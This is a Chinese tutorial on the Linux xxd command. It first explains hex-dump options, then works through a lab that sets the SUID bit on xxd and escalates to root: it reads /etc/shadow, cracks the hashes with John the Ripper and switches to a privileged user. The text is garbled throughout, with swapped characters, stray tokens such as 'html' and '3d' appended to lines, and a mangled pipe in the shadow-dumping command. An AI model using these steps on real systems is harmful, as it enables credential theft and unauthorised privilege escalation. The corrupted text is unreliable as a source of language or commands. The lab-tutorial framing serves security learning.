本文將爲你們介紹另外一個可用於提權的Linux命令,即「xxd」。xxd命令的做用是將給定的標準輸入或者文件,作一次十六進制的輸出,反之它也能夠將十六進制的輸出轉換爲原來的二進制格式。 |
xxd 介紹html
咱們知道若是想要將某個文件轉換成另外一種格式,咱們能夠經過使用一些在線的轉換工具,它能夠幫助咱們將一個文件轉換成幾乎任何咱們所需的文件格式,例如:「pdf to word,jpg to pdf,excel to pdf「等等。但若是有人想要將任意文件轉換爲十六進制或二進制形式,那又該怎麼辦呢?
其實這很簡單,在Linux上咱們能夠經過xxd這個命令來作到這一點。xxd命令能夠爲給定的標準輸入或者文件作一次十六進制的輸出,它也能夠將十六進制輸出轉換爲原來的二進制格式。這也有助於對任意文件的編碼和解碼。
首先,讓咱們使用help/man
命令,查看xxd
命令的具體使用方法。linux
xxd -h
使用 xxd 執行的主要操做
將文件內容轉換爲十六進制:例如,我建立了一個名爲「secret.txt」的新文件,如今我想將其內容都轉換爲十六進制形式,我能夠經過鍵入如下命令執行:shell
Syntax: xxd filename xxd secret.txt
以下圖所示,很明顯xxd已經爲文件「secret.txt」生成了十六進制轉儲。
在這裏咱們能夠觀察到,如下十六進制轉儲得到了它的默認格式,例如:
索引行數
每組的默認八位字節數爲2,其分組大小爲4字節
標準列長度爲16位,帶有空格
使用xxd跳過第n行:在轉換文件時,有許多數據多是咱們不須要的。所以,咱們能夠跳過這些內容。咱們可使用xxd跳過第n行,並在跳過的行後生成十六進制值。
假設在我當前的狀況下,我想要從第5行生成十六進制轉儲,那麼能夠經過使用「-s」參數後跟xxd命令來實現。ssh
xxd -s 0x50 secret.txt
將輸出限制爲特定長度:以上我已經解釋瞭如何經過跳過行數來檢索數據。可是,若是你想要限制標準輸出的長度,那麼你可使用「-l」參數。
這裏,我限制了個人內容長度,以將數據打印到有限的範圍,即第5行,以下圖所示。工具
xxd -l 0x50 secret.txt
所以,咱們能夠觀察到兩個命令之間的差別;第一個命令生成從第6行初始化的十六進制值,第二個命令根據十六進制索引以第5行結束,請參考以上截圖。
將文件內容轉換爲二進制文件:若是你想將文件轉換爲二進制形式,則可使用「-b」選項。命令以下:post
xxd -b secret.txt
設置列長:上面我已經介紹瞭如何跳過並限制輸出到範圍,其實咱們還能夠設置列的長度。默認狀況下,對於任何轉儲文件它都是12, 16。
默認值:咱們知道默認列長度爲16。這將打印16個字符,包括空格。編碼
xxd -l 0x20 secret.txt
將列長度設置爲32:我使用「-l」選項設置告終束索引以限制打印數據的範圍。而後我使用「-c」參數,將列的長度設爲了32。3d
xxd -l 0x40 -c 32 secret.txt
從下圖中,咱們能夠知道xxd是如何限制列長度的。
將列長度設置爲9:如今咱們將列長度設置爲「9」。excel
xxd -l 0x40 -c 9 secret.txt
在全部這些狀況下,xxd都是經過空格計數每一個字符來爲文件建立十六進制轉儲的。
純16進制轉儲:咱們可使用「-ps」選項,以 postscript的連續16進制轉儲輸出。這裏咱們將其輸出保存在hex文件中,以獲取secret.txt文件的純16進制轉儲。爲了驗證結果,咱們使用cat命令從hex文件中讀取輸出。
xxd -ps secret.txt > hex cat hex
從下圖中,咱們能夠知道xxd是如何爲「secret.txt」文件,建立純十六進制轉儲的。
還原文件:咱們可使用「-r」選項,來還原轉換的文件內容。在咱們的例子中,我使用了「-r -p」將純十六進制轉儲的反向輸出打印爲了ASCII格式。code
xxd -r -p hex
分組大小字節:若是咱們須要將輸出分組爲多個八位字節,那麼咱們可使用「-g」選項來實現。默認狀況下爲2。所以,若是咱們將值設爲4,那麼它將被分組爲8位。
在下圖中咱們將值設爲8,它將分組爲16位做爲輸出以簡化結果。
xxd -l 0x30 -g 8 secret.txt
SUID Lab 設置
SUID特殊權限是以命令的全部者權限來運行這一命令的,而不是以執行者的權限來運行該命令。如今,讓咱們在xxd上啓用SUID權限,這樣本地用戶就有機會利用xxd來獲取root權限。
鍵入如下命令,啓用SUID位:
which xxd chmod u+s /usr/bin/xxd ls -al /usr/bin/xxd
SUID 利用
如今,咱們將經過特殊權限位SUID來利用xxd服務。爲此,我建立了一個受害者機器的會話,這將容許咱們利用目標系統的本地用戶訪問。
讓咱們使用ssh鏈接到目標機器,命令以下:
ssh test@192.168.1.103
成功訪問受害者機器後,咱們使用find命令來查找具備SUID權限的二進制文件。
find / -perm -u=s -type f 2>/dev/null
這裏咱們能夠看到有許多二進制文件具備SUID位,但咱們重點關注/usr/bin/xxd。
在xxd上得到特殊權限位SUID,咱們將獲取用於提取密碼哈希文件的shadow文件。
以下圖所示,我已請求經過使用xxd暴露/etc/shadow文件,它將爲該文件生成十六進制轉儲,並經過管道傳輸xxd命令來恢復其輸出。
xxd "/etc/shadow" / xxd -r
如今,我將使用john the ripper這款工具來破解哈希密碼。這樣咱們就能夠獲取用戶憑據,以下圖所示。
john hash
獲取憑據後,咱們就能夠切換用戶了。首先,咱們來檢查下用戶的sudo權限:raj,發現用戶「raj」具備全部權限。
su raj sudo -l sudo su
所以,讓咱們直接切換到root用戶賬戶,並訪問root shell。至此,咱們已成功利用xxd命令提高了咱們的用戶權限。